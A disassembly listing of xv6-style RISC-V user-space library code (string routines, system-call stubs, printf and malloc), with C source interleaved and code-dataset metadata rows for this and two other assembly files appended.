1a2: 00054683 lbu a3,0(a0) 1a6: fd06879b addiw a5,a3,-48 1aa: 0ff7f793 zext.b a5,a5 1ae: 4625 li a2,9 1b0: 02f66863 bltu a2,a5,1e0 <atoi+0x44> 1b4: 872a mv a4,a0 n = 0; 1b6: 4501 li a0,0 n = n*10 + *s++ - '0'; 1b8: 0705 addi a4,a4,1 1ba: 0025179b slliw a5,a0,0x2 1be: 9fa9 addw a5,a5,a0 1c0: 0017979b slliw a5,a5,0x1 1c4: 9fb5 addw a5,a5,a3 1c6: fd07851b addiw a0,a5,-48 while('0' <= *s && *s <= '9') 1ca: 00074683 lbu a3,0(a4) 1ce: fd06879b addiw a5,a3,-48 1d2: 0ff7f793 zext.b a5,a5 1d6: fef671e3 bgeu a2,a5,1b8 <atoi+0x1c> return n; } 1da: 6422 ld s0,8(sp) 1dc: 0141 addi sp,sp,16 1de: 8082 ret n = 0; 1e0: 4501 li a0,0 1e2: bfe5 j 1da <atoi+0x3e> 00000000000001e4 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 1e4: 1141 addi sp,sp,-16 1e6: e422 sd s0,8(sp) 1e8: 0800 addi s0,sp,16 char *dst; const char *src; dst = vdst; src = vsrc; if (src > dst) { 1ea: 02b57463 bgeu a0,a1,212 <memmove+0x2e> while(n-- > 0) 1ee: 00c05f63 blez a2,20c <memmove+0x28> 1f2: 1602 slli a2,a2,0x20 1f4: 9201 srli a2,a2,0x20 1f6: 00c507b3 add a5,a0,a2 dst = vdst; 1fa: 872a mv a4,a0 *dst++ = *src++; 1fc: 0585 addi a1,a1,1 1fe: 0705 addi a4,a4,1 200: fff5c683 lbu a3,-1(a1) 204: fed70fa3 sb a3,-1(a4) while(n-- > 0) 208: fee79ae3 bne a5,a4,1fc <memmove+0x18> src += n; while(n-- > 0) *--dst = *--src; } return vdst; } 20c: 6422 ld s0,8(sp) 20e: 0141 addi sp,sp,16 210: 8082 ret dst += n; 212: 00c50733 add a4,a0,a2 src += n; 216: 95b2 add a1,a1,a2 while(n-- > 0) 218: fec05ae3 blez a2,20c <memmove+0x28> 21c: fff6079b addiw a5,a2,-1 220: 1782 slli a5,a5,0x20 222: 9381 srli a5,a5,0x20 224: fff7c793 not a5,a5 228: 97ba add a5,a5,a4 *--dst = *--src; 22a: 15fd addi a1,a1,-1 22c: 177d addi a4,a4,-1 22e: 0005c683 lbu a3,0(a1) 232: 00d70023 sb a3,0(a4) while(n-- > 0) 236: fee79ae3 bne a5,a4,22a <memmove+0x46> 23a: bfc9 j 20c <memmove+0x28> 000000000000023c <memcmp>: int memcmp(const void *s1, const void *s2, uint n) { 23c: 1141 addi sp,sp,-16 23e: e422 sd s0,8(sp) 240: 0800 addi s0,sp,16 const char *p1 = s1, *p2 = s2; while (n-- > 0) { 242: ca05 beqz a2,272 <memcmp+0x36> 244: fff6069b addiw a3,a2,-1 248: 1682 slli a3,a3,0x20 24a: 9281 srli a3,a3,0x20 24c: 0685 addi a3,a3,1 24e: 96aa add a3,a3,a0 if (*p1 != *p2) { 250: 00054783 lbu a5,0(a0) 254: 0005c703 lbu a4,0(a1) 258: 00e79863 bne a5,a4,268 <memcmp+0x2c> return *p1 - *p2; } p1++; 25c: 0505 addi a0,a0,1 p2++; 25e: 0585 addi a1,a1,1 while (n-- > 0) { 260: fed518e3 bne a0,a3,250 <memcmp+0x14> } return 0; 264: 4501 li a0,0 266: a019 j 26c <memcmp+0x30> return *p1 - *p2; 268: 40e7853b subw a0,a5,a4 } 26c: 6422 ld s0,8(sp) 26e: 0141 addi sp,sp,16 270: 8082 ret return 0; 272: 4501 li a0,0 274: bfe5 j 26c <memcmp+0x30> 0000000000000276 <memcpy>: void * memcpy(void *dst, const void *src, uint n) { 276: 1141 addi sp,sp,-16 278: e406 sd ra,8(sp) 27a: e022 sd s0,0(sp) 27c: 0800 addi s0,sp,16 return memmove(dst, src, n); 27e: 00000097 auipc ra,0x0 282: f66080e7 jalr -154(ra) # 1e4 <memmove> } 286: 60a2 ld ra,8(sp) 288: 6402 ld s0,0(sp) 28a: 0141 addi sp,sp,16 28c: 8082 ret 000000000000028e <fork>: # generated by usys.pl - do not edit #include "kernel/syscall.h" .global fork fork: li a7, SYS_fork 28e: 4885 li a7,1 ecall 290: 00000073 ecall ret 294: 8082 ret 0000000000000296 <exit>: .global exit exit: li a7, SYS_exit 296: 4889 li a7,2 ecall 298: 00000073 ecall ret 29c: 8082 ret 000000000000029e <wait>: .global wait wait: li a7, SYS_wait 29e: 488d li a7,3 ecall 2a0: 00000073 ecall ret 2a4: 8082 ret 00000000000002a6 <pipe>: .global pipe pipe: li a7, SYS_pipe 2a6: 4891 li a7,4 ecall 2a8: 00000073 ecall ret 2ac: 8082 ret 00000000000002ae <read>: .global read read: li a7, SYS_read 2ae: 4895 li a7,5 ecall 2b0: 00000073 ecall ret 2b4: 8082 ret 00000000000002b6 <write>: .global write write: li a7, SYS_write 2b6: 48c1 li a7,16 ecall 2b8: 00000073 ecall ret 2bc: 8082 ret 00000000000002be <close>: .global close close: li a7, SYS_close 2be: 48d5 li a7,21 ecall 2c0: 00000073 ecall ret 2c4: 8082 ret 00000000000002c6 <kill>: .global kill kill: li a7, SYS_kill 2c6: 4899 li a7,6 ecall 2c8: 00000073 ecall ret 2cc: 8082 ret 00000000000002ce <exec>: .global exec exec: li a7, SYS_exec 2ce: 489d li a7,7 ecall 2d0: 00000073 ecall ret 2d4: 8082 ret 00000000000002d6 <open>: .global open open: li a7, SYS_open 2d6: 48bd li a7,15 ecall 2d8: 00000073 ecall ret 2dc: 8082 ret 00000000000002de <mknod>: .global mknod mknod: li a7, SYS_mknod 2de: 48c5 li a7,17 ecall 2e0: 00000073 ecall ret 2e4: 8082 ret 00000000000002e6 <unlink>: .global unlink unlink: li a7, SYS_unlink 2e6: 48c9 li a7,18 ecall 2e8: 00000073 ecall ret 2ec: 8082 ret 00000000000002ee <fstat>: .global fstat fstat: li a7, SYS_fstat 2ee: 48a1 li a7,8 ecall 2f0: 00000073 ecall ret 2f4: 8082 ret 00000000000002f6 <link>: .global link link: li a7, SYS_link 2f6: 48cd li a7,19 ecall 2f8: 00000073 ecall ret 2fc: 8082 ret 00000000000002fe <mkdir>: .global mkdir mkdir: li a7, SYS_mkdir 2fe: 48d1 li a7,20 ecall 300: 00000073 ecall ret 304: 8082 ret 0000000000000306 <chdir>: .global chdir chdir: li a7, SYS_chdir 306: 48a5 li a7,9 ecall 308: 00000073 ecall ret 30c: 8082 ret 000000000000030e <dup>: .global dup dup: li a7, SYS_dup 30e: 48a9 li a7,10 ecall 310: 00000073 ecall ret 314: 8082 ret 0000000000000316 <getpid>: .global getpid getpid: li a7, SYS_getpid 316: 48ad li a7,11 ecall 318: 00000073 ecall ret 31c: 8082 ret 000000000000031e <sbrk>: .global sbrk sbrk: li a7, SYS_sbrk 31e: 48b1 li a7,12 ecall 320: 00000073 ecall ret 324: 8082 ret 0000000000000326 <sleep>: .global sleep sleep: li a7, SYS_sleep 326: 48b5 li a7,13 ecall 328: 00000073 ecall ret 32c: 8082 ret 000000000000032e <uptime>: .global uptime uptime: li a7, SYS_uptime 32e: 48b9 li a7,14 ecall 330: 00000073 ecall ret 334: 8082 ret 0000000000000336 <waitx>: .global waitx waitx: li a7, SYS_waitx 336: 48d9 li a7,22 ecall 338: 00000073 ecall ret 33c: 8082 ret 000000000000033e <trace>: .global trace trace: li a7, SYS_trace 33e: 48e1 li a7,24 ecall 340: 00000073 ecall ret 344: 8082 ret 0000000000000346 <set_priority>: .global set_priority set_priority: li a7, SYS_set_priority 346: 48dd li a7,23 ecall 348: 00000073 ecall ret 34c: 8082 ret 000000000000034e <putc>: static char digits[] = "0123456789ABCDEF"; static void putc(int fd, char c) { 34e: 1101 addi sp,sp,-32 350: ec06 sd ra,24(sp) 352: e822 sd s0,16(sp) 354: 1000 addi s0,sp,32 356: feb407a3 sb a1,-17(s0) write(fd, &c, 1); 35a: 4605 li a2,1 35c: fef40593 addi a1,s0,-17 360: 00000097 auipc ra,0x0 364: f56080e7 jalr -170(ra) # 2b6 <write> } 368: 60e2 ld ra,24(sp) 36a: 6442 ld s0,16(sp) 36c: 6105 addi sp,sp,32 36e: 8082 ret 0000000000000370 <printint>: static void printint(int fd, int xx, int base, int sgn) { 370: 7139 addi sp,sp,-64 372: fc06 sd ra,56(sp) 374: f822 sd s0,48(sp) 376: f426 sd s1,40(sp) 378: f04a sd s2,32(sp) 37a: ec4e sd s3,24(sp) 37c: 0080 addi s0,sp,64 37e: 84aa mv s1,a0 char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 380: c299 beqz a3,386 <printint+0x16> 382: 0805c963 bltz a1,414 <printint+0xa4> neg = 1; x = -xx; } else { x = xx; 386: 2581 sext.w a1,a1 neg = 0; 388: 4881 li a7,0 38a: fc040693 addi a3,s0,-64 } i = 0; 38e: 4701 li a4,0 do{ buf[i++] = digits[x % base]; 390: 2601 sext.w a2,a2 392: 00000517 auipc a0,0x0 396: 49650513 addi a0,a0,1174 # 828 <digits> 39a: 883a mv a6,a4 39c: 2705 addiw a4,a4,1 39e: 02c5f7bb remuw a5,a1,a2 3a2: 1782 slli a5,a5,0x20 3a4: 9381 srli a5,a5,0x20 3a6: 97aa add a5,a5,a0 3a8: 0007c783 lbu a5,0(a5) 3ac: 00f68023 sb a5,0(a3) }while((x /= base) != 0); 3b0: 0005879b sext.w a5,a1 3b4: 02c5d5bb divuw a1,a1,a2 3b8: 0685 addi a3,a3,1 3ba: fec7f0e3 bgeu a5,a2,39a <printint+0x2a> if(neg) 3be: 00088c63 beqz a7,3d6 <printint+0x66> buf[i++] = '-'; 3c2: fd070793 addi a5,a4,-48 3c6: 00878733 add a4,a5,s0 3ca: 02d00793 li a5,45 3ce: fef70823 sb a5,-16(a4) 3d2: 0028071b addiw a4,a6,2 while(--i >= 0) 3d6: 02e05863 blez a4,406 <printint+0x96> 3da: fc040793 addi a5,s0,-64 3de: 00e78933 add s2,a5,a4 3e2: fff78993 addi s3,a5,-1 3e6: 99ba add s3,s3,a4 3e8: 377d addiw a4,a4,-1 3ea: 1702 slli a4,a4,0x20 3ec: 9301 srli a4,a4,0x20 3ee: 40e989b3 sub s3,s3,a4 putc(fd, buf[i]); 3f2: fff94583 lbu a1,-1(s2) 3f6: 8526 mv a0,s1 3f8: 00000097 auipc ra,0x0 3fc: f56080e7 jalr -170(ra) # 34e <putc> while(--i >= 0) 400: 197d addi s2,s2,-1 402: ff3918e3 bne s2,s3,3f2 <printint+0x82> } 406: 70e2 ld ra,56(sp) 408: 7442 ld s0,48(sp) 40a: 74a2 ld s1,40(sp) 40c: 7902 ld s2,32(sp) 40e: 69e2 ld s3,24(sp) 410: 6121 addi sp,sp,64 412: 8082 ret x = -xx; 414: 40b005bb negw a1,a1 neg = 1; 418: 4885 li a7,1 x = -xx; 41a: bf85 j 38a <printint+0x1a> 000000000000041c <vprintf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void vprintf(int fd, const char *fmt, va_list ap) { 41c: 7119 addi sp,sp,-128 41e: fc86 sd ra,120(sp) 420: f8a2 sd s0,112(sp) 422: f4a6 sd s1,104(sp) 424: f0ca sd s2,96(sp) 426: ecce sd s3,88(sp) 428: e8d2 sd s4,80(sp) 42a: e4d6 sd s5,72(sp) 42c: e0da sd s6,64(sp) 42e: fc5e sd s7,56(sp) 430: f862 sd s8,48(sp) 432: f466 sd s9,40(sp) 434: f06a sd s10,32(sp) 436: ec6e sd s11,24(sp) 438: 0100 addi s0,sp,128 char *s; int c, i, state; state = 0; for(i = 0; fmt[i]; i++){ 43a: 0005c903 lbu s2,0(a1) 43e: 18090f63 beqz s2,5dc <vprintf+0x1c0> 442: 8aaa mv s5,a0 444: 8b32 mv s6,a2 446: 00158493 addi s1,a1,1 state = 0; 44a: 4981 li s3,0 if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 44c: 02500a13 li s4,37 450: 4c55 li s8,21 452: 00000c97 auipc s9,0x0 456: 37ec8c93 addi s9,s9,894 # 7d0 <malloc+0xf0> printptr(fd, va_arg(ap, uint64)); } else if(c == 's'){ s = va_arg(ap, char*); if(s == 0) s = "(null)"; while(*s != 0){ 45a: 02800d93 li s11,40 putc(fd, 'x'); 45e: 4d41 li s10,16 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 460: 00000b97 auipc s7,0x0 464: 3c8b8b93 addi s7,s7,968 # 828 <digits> 468: a839 j 486 <vprintf+0x6a> putc(fd, c); 46a: 85ca mv a1,s2 46c: 8556 mv a0,s5 46e: 00000097 auipc ra,0x0 472: ee0080e7 jalr -288(ra) # 34e <putc> 476: a019 j 47c <vprintf+0x60> } else if(state == '%'){ 478: 01498d63 beq s3,s4,492 <vprintf+0x76> for(i = 0; fmt[i]; i++){ 47c: 0485 addi s1,s1,1 47e: fff4c903 lbu s2,-1(s1) 482: 14090d63 beqz s2,5dc <vprintf+0x1c0> if(state == 0){ 486: fe0999e3 bnez s3,478 <vprintf+0x5c> if(c == '%'){ 48a: ff4910e3 bne s2,s4,46a <vprintf+0x4e> state = '%'; 48e: 89d2 mv s3,s4 490: b7f5 j 47c <vprintf+0x60> if(c == 'd'){ 492: 11490c63 beq s2,s4,5aa <vprintf+0x18e> 496: f9d9079b addiw a5,s2,-99 49a: 0ff7f793 zext.b a5,a5 49e: 10fc6e63 bltu s8,a5,5ba <vprintf+0x19e> 4a2: f9d9079b addiw a5,s2,-99 4a6: 0ff7f713 zext.b a4,a5 4aa: 10ec6863 bltu s8,a4,5ba <vprintf+0x19e> 4ae: 00271793 slli a5,a4,0x2 4b2: 97e6 add a5,a5,s9 4b4: 439c lw a5,0(a5) 4b6: 97e6 add a5,a5,s9 4b8: 8782 jr a5 printint(fd, va_arg(ap, int), 10, 1); 4ba: 008b0913 addi s2,s6,8 4be: 4685 li a3,1 4c0: 4629 li a2,10 4c2: 000b2583 lw a1,0(s6) 4c6: 8556 mv a0,s5 4c8: 00000097 auipc ra,0x0 4cc: ea8080e7 jalr -344(ra) # 370 <printint> 4d0: 8b4a mv s6,s2 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4d2: 4981 li s3,0 4d4: b765 j 47c <vprintf+0x60> printint(fd, va_arg(ap, uint64), 10, 0); 4d6: 008b0913 addi s2,s6,8 4da: 4681 li a3,0 4dc: 4629 li a2,10 4de: 000b2583 lw a1,0(s6) 4e2: 8556 mv a0,s5 4e4: 00000097 auipc ra,0x0 4e8: e8c080e7 jalr -372(ra) # 370 <printint> 4ec: 8b4a mv s6,s2 state = 0; 4ee: 4981 li s3,0 4f0: b771 j 47c <vprintf+0x60> printint(fd, va_arg(ap, int), 16, 0); 4f2: 008b0913 addi s2,s6,8 4f6: 4681 li a3,0 4f8: 866a mv a2,s10 4fa: 000b2583 lw a1,0(s6) 4fe: 8556 mv a0,s5 500: 00000097 auipc ra,0x0 504: e70080e7 jalr -400(ra) # 370 <printint> 508: 8b4a mv s6,s2 state = 0; 50a: 4981 li s3,0 50c: bf85 j 47c <vprintf+0x60> printptr(fd, va_arg(ap, uint64)); 50e: 008b0793 addi a5,s6,8 512: f8f43423 sd a5,-120(s0) 516: 000b3983 ld s3,0(s6) putc(fd, '0'); 51a: 03000593 li a1,48 51e: 8556 mv a0,s5 520: 00000097 auipc ra,0x0 524: e2e080e7 jalr -466(ra) # 34e <putc> putc(fd, 'x'); 528: 07800593 li a1,120 52c: 8556 mv a0,s5 52e: 00000097 auipc ra,0x0 532: e20080e7 jalr -480(ra) # 34e <putc> 536: 896a mv s2,s10 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 538: 03c9d793 srli a5,s3,0x3c 53c: 97de add a5,a5,s7 53e: 0007c583 lbu a1,0(a5) 542: 8556 mv a0,s5 544: 00000097 auipc ra,0x0 548: e0a080e7 jalr -502(ra) # 34e <putc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 54c: 0992 slli s3,s3,0x4 54e: 397d addiw s2,s2,-1 550: fe0914e3 bnez s2,538 <vprintf+0x11c> printptr(fd, va_arg(ap, uint64)); 554: f8843b03 ld s6,-120(s0) state = 0; 558: 4981 li s3,0 55a: b70d j 47c <vprintf+0x60> s = va_arg(ap, char*); 55c: 008b0913 addi s2,s6,8 560: 000b3983 ld s3,0(s6) if(s == 0) 564: 02098163 beqz s3,586 <vprintf+0x16a> while(*s != 0){ 568: 0009c583 lbu a1,0(s3) 56c: c5ad beqz a1,5d6 <vprintf+0x1ba> putc(fd, *s); 56e: 8556 mv a0,s5 570: 00000097 auipc ra,0x0 574: dde080e7 jalr -546(ra) # 34e <putc> s++; 578: 0985 addi s3,s3,1 while(*s != 0){ 57a: 0009c583 lbu a1,0(s3) 57e: f9e5 bnez a1,56e <vprintf+0x152> s = va_arg(ap, char*); 580: 8b4a mv s6,s2 state = 0; 582: 4981 li s3,0 584: bde5 j 47c <vprintf+0x60> s = "(null)"; 586: 00000997 auipc s3,0x0 58a: 24298993 addi s3,s3,578 # 7c8 <malloc+0xe8> while(*s != 0){ 58e: 85ee mv a1,s11 590: bff9 j 56e <vprintf+0x152> putc(fd, va_arg(ap, uint)); 592: 008b0913 addi s2,s6,8 596: 000b4583 lbu a1,0(s6) 59a: 8556 mv a0,s5 59c: 00000097 auipc ra,0x0 5a0: db2080e7 jalr -590(ra) # 34e <putc> 5a4: 8b4a mv s6,s2 state = 0; 5a6: 4981 li s3,0 5a8: bdd1 j 47c <vprintf+0x60> putc(fd, c); 5aa: 85d2 mv a1,s4 5ac: 8556 mv a0,s5 5ae: 00000097 auipc ra,0x0 5b2: da0080e7 jalr -608(ra) # 34e <putc> state = 0; 5b6: 4981 li s3,0 5b8: b5d1 j 47c <vprintf+0x60> putc(fd, '%'); 5ba: 85d2 mv a1,s4 5bc: 8556 mv a0,s5 5be: 00000097 auipc ra,0x0 5c2: d90080e7 jalr -624(ra) # 34e <putc> putc(fd, c); 5c6: 85ca mv a1,s2 5c8: 8556 mv a0,s5 5ca: 00000097 auipc ra,0x0 5ce: d84080e7 jalr -636(ra) # 34e <putc> state = 0; 5d2: 4981 li s3,0 5d4: b565 j 47c <vprintf+0x60> s = va_arg(ap, char*); 5d6: 8b4a mv s6,s2 state = 0; 5d8: 4981 li s3,0 5da: b54d j 47c <vprintf+0x60> } } } 5dc: 70e6 ld ra,120(sp) 5de: 7446 ld s0,112(sp) 5e0: 74a6 ld s1,104(sp) 5e2: 7906 ld s2,96(sp) 5e4: 69e6 ld s3,88(sp) 5e6: 6a46 ld s4,80(sp) 5e8: 6aa6 ld s5,72(sp) 5ea: 6b06 ld s6,64(sp) 5ec: 7be2 ld s7,56(sp) 5ee: 7c42 ld s8,48(sp) 5f0: 7ca2 ld s9,40(sp) 5f2: 7d02 ld s10,32(sp) 5f4: 6de2 ld s11,24(sp) 5f6: 6109 addi sp,sp,128 5f8: 8082 ret 00000000000005fa <fprintf>: void fprintf(int fd, const char *fmt, ...) { 5fa: 715d addi sp,sp,-80 5fc: ec06 sd ra,24(sp) 5fe: e822 sd s0,16(sp) 600: 1000 addi s0,sp,32 602: e010 sd a2,0(s0) 604: e414 sd a3,8(s0) 606: e818 sd a4,16(s0) 608: ec1c sd a5,24(s0) 60a: 03043023 sd a6,32(s0) 60e: 03143423 sd a7,40(s0) va_list ap; va_start(ap, fmt); 612: fe843423 sd s0,-24(s0) vprintf(fd, fmt, ap); 616: 8622 mv a2,s0 618: 00000097 auipc ra,0x0 61c: e04080e7 jalr -508(ra) # 41c <vprintf> } 620: 60e2 ld ra,24(sp) 622: 6442 ld s0,16(sp) 624: 6161 addi sp,sp,80 626: 8082 ret 0000000000000628 <printf>: void printf(const char *fmt, ...) { 628: 711d addi sp,sp,-96 62a: ec06 sd ra,24(sp) 62c: e822 sd s0,16(sp) 62e: 1000 addi s0,sp,32 630: e40c sd a1,8(s0) 632: e810 sd a2,16(s0) 634: ec14 sd a3,24(s0) 636: f018 sd a4,32(s0) 638: f41c sd a5,40(s0) 63a: 03043823 sd a6,48(s0) 63e: 03143c23 sd a7,56(s0) va_list ap; va_start(ap, fmt); 642: 00840613 addi a2,s0,8 646: fec43423 sd a2,-24(s0) vprintf(1, fmt, ap); 64a: 85aa mv a1,a0 64c: 4505 li a0,1 64e: 00000097 auipc ra,0x0 652: dce080e7 jalr -562(ra) # 41c <vprintf> } 656: 60e2 ld ra,24(sp) 658: 6442 ld s0,16(sp) 65a: 6125 addi sp,sp,96 65c: 8082 ret 000000000000065e <free>: static Header base; static Header *freep; void free(void *ap) { 65e: 1141 addi sp,sp,-16 660: e422 sd s0,8(sp) 662: 0800 addi s0,sp,16 Header *bp, *p; bp = (Header*)ap - 1; 664: ff050693 addi a3,a0,-16 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 668: 00000797 auipc a5,0x0 66c: 1d87b783 ld a5,472(a5) # 840 <freep> 670: a02d j 69a <free+0x3c> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 672: 4618 lw a4,8(a2) 674: 9f2d addw a4,a4,a1 676: fee52c23 sw a4,-8(a0) bp->s.ptr = p->s.ptr->s.ptr; 67a: 6398 ld a4,0(a5) 67c: 6310 ld a2,0(a4) 67e: a83d j 6bc <free+0x5e> } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 680: ff852703 lw a4,-8(a0) 684: 9f31 addw a4,a4,a2 686: c798 sw a4,8(a5) p->s.ptr = bp->s.ptr; 688: ff053683 ld a3,-16(a0) 68c: a091 j 6d0 <free+0x72> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 68e: 6398 ld a4,0(a5) 690: 00e7e463 bltu a5,a4,698 <free+0x3a> 694: 00e6ea63 bltu a3,a4,6a8 <free+0x4a> { 698: 87ba mv a5,a4 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 69a: fed7fae3 bgeu a5,a3,68e <free+0x30> 69e: 6398 ld a4,0(a5) 6a0: 00e6e463 bltu a3,a4,6a8 <free+0x4a> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6a4: fee7eae3 bltu a5,a4,698 <free+0x3a> if(bp + bp->s.size == p->s.ptr){ 6a8: ff852583 lw a1,-8(a0) 6ac: 6390 ld a2,0(a5) 6ae: 02059813 slli a6,a1,0x20 6b2: 01c85713 srli a4,a6,0x1c 6b6: 9736 add a4,a4,a3 6b8: fae60de3 beq a2,a4,672 <free+0x14> bp->s.ptr = p->s.ptr->s.ptr; 6bc: fec53823 sd a2,-16(a0) if(p + p->s.size == bp){ 6c0: 4790 lw a2,8(a5) 6c2: 02061593 slli a1,a2,0x20 6c6: 01c5d713 srli a4,a1,0x1c 6ca: 973e add a4,a4,a5 6cc: fae68ae3 beq a3,a4,680 <free+0x22> p->s.ptr = bp->s.ptr; 6d0: e394 sd a3,0(a5) } else p->s.ptr = bp; freep = p; 6d2: 00000717 auipc a4,0x0 6d6: 16f73723 sd a5,366(a4) # 840 <freep> } 6da: 6422 ld s0,8(sp) 6dc: 0141 addi sp,sp,16 6de: 8082 ret 00000000000006e0 <malloc>: return freep; } void* malloc(uint nbytes) { 6e0: 7139 addi sp,sp,-64 6e2: fc06 sd ra,56(sp) 6e4: f822 sd s0,48(sp) 6e6: f426 sd s1,40(sp) 6e8: f04a sd s2,32(sp) 6ea: ec4e sd s3,24(sp) 6ec: e852 sd s4,16(sp) 6ee: e456 sd s5,8(sp) 6f0: e05a sd s6,0(sp) 6f2: 0080 addi s0,sp,64 Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6f4: 02051493 slli s1,a0,0x20 6f8: 9081 srli s1,s1,0x20 6fa: 04bd addi s1,s1,15 6fc: 8091 srli s1,s1,0x4 6fe: 0014899b addiw s3,s1,1 702: 0485 addi s1,s1,1 if((prevp = freep) == 0){ 704: 00000517 auipc a0,0x0 708: 13c53503 ld a0,316(a0) # 840 <freep> 70c: c515 beqz a0,738 <malloc+0x58> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 70e: 611c ld a5,0(a0) if(p->s.size >= nunits){ 710: 4798 lw a4,8(a5) 712: 02977f63 bgeu a4,s1,750 <malloc+0x70> 716: 8a4e mv s4,s3 718: 0009871b sext.w a4,s3 71c: 6685 lui a3,0x1 71e: 00d77363 bgeu a4,a3,724 <malloc+0x44> 722: 6a05 lui s4,0x1 724: 000a0b1b sext.w s6,s4 p = sbrk(nu * sizeof(Header)); 728: 004a1a1b slliw s4,s4,0x4 p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 72c: 00000917 auipc s2,0x0 730: 11490913 addi s2,s2,276 # 840 <freep> if(p == (char*)-1) 734: 5afd li s5,-1 736: a895 j 7aa <malloc+0xca> base.s.ptr = freep = prevp = &base; 738: 00000797 auipc a5,0x0 73c: 11078793 addi a5,a5,272 # 848 <base> 740: 00000717 auipc a4,0x0 744: 10f73023 sd a5,256(a4) # 840 <freep> 748: e39c sd a5,0(a5) base.s.size = 0; 74a: 0007a423 sw zero,8(a5) if(p->s.size >= nunits){ 74e: b7e1 j 716 <malloc+0x36> if(p->s.size == nunits) 750: 02e48c63 beq s1,a4,788 <malloc+0xa8> p->s.size -= nunits; 754: 4137073b subw a4,a4,s3 758: c798 sw a4,8(a5) p += p->s.size; 75a: 02071693 slli a3,a4,0x20 75e: 01c6d713 srli a4,a3,0x1c 762: 97ba add a5,a5,a4 p->s.size = nunits; 764: 0137a423 sw s3,8(a5) freep = prevp; 768: 00000717 auipc a4,0x0 76c: 0ca73c23 sd a0,216(a4) # 840 <freep> return (void*)(p + 1); 770: 01078513 addi a0,a5,16 if((p = morecore(nunits)) == 0) return 0; } } 774: 70e2 ld ra,56(sp) 776: 7442 ld s0,48(sp) 778: 74a2 ld s1,40(sp) 77a: 7902 ld s2,32(sp) 77c: 69e2 ld s3,24(sp) 77e: 6a42 ld s4,16(sp) 780: 6aa2 ld s5,8(sp) 782: 6b02 ld s6,0(sp) 784: 6121 addi sp,sp,64 786: 8082 ret prevp->s.ptr = p->s.ptr; 788: 6398 ld a4,0(a5) 78a: e118 sd a4,0(a0) 78c: bff1 j 768 <malloc+0x88> hp->s.size = nu; 78e: 01652423 sw s6,8(a0) free((void*)(hp + 1)); 792: 0541 addi a0,a0,16 794: 00000097 auipc ra,0x0 798: eca080e7 jalr -310(ra) # 65e <free> return freep; 79c: 00093503 ld a0,0(s2) if((p = morecore(nunits)) == 0) 7a0: d971 beqz a0,774 <malloc+0x94> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7a2: 611c ld a5,0(a0) if(p->s.size >= nunits){ 7a4: 4798 lw a4,8(a5) 7a6: fa9775e3 bgeu a4,s1,750 <malloc+0x70> if(p == freep) 7aa: 00093703 ld a4,0(s2) 7ae: 853e mv a0,a5 7b0: fef719e3 bne a4,a5,7a2 <malloc+0xc2> p = sbrk(nu * sizeof(Header)); 7b4: 8552 mv a0,s4 7b6: 00000097 auipc ra,0x0 7ba: b68080e7 jalr -1176(ra) # 31e <sbrk> if(p == (char*)-1) 7be: fd5518e3 bne a0,s5,78e <malloc+0xae> return 0; 7c2: 4501 li a0,0 7c4: bf45 j 774 <malloc+0x94>
29.207861
60
0.461519
931470cde0a3847fa385e9c7548db747b1efe15b
149
asm
Assembly
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/mak.lzh/mak/kart-pers-e.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/mak.lzh/mak/kart-pers-e.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/mak.lzh/mak/kart-pers-e.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: kart-pers-e.asm Type: file Size: 15102 Last-Modified: '1992-08-06T07:17:24Z' SHA-1: 67E883330CF810A74FBB9A463FCBD4D5052C44E2 Description: null
21.285714
47
0.805369
7e34ce52d6cc75e10779a2299b4b2fb5949eb65e
1,414
asm
Assembly
programs/oeis/038/A038665.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/038/A038665.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/038/A038665.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
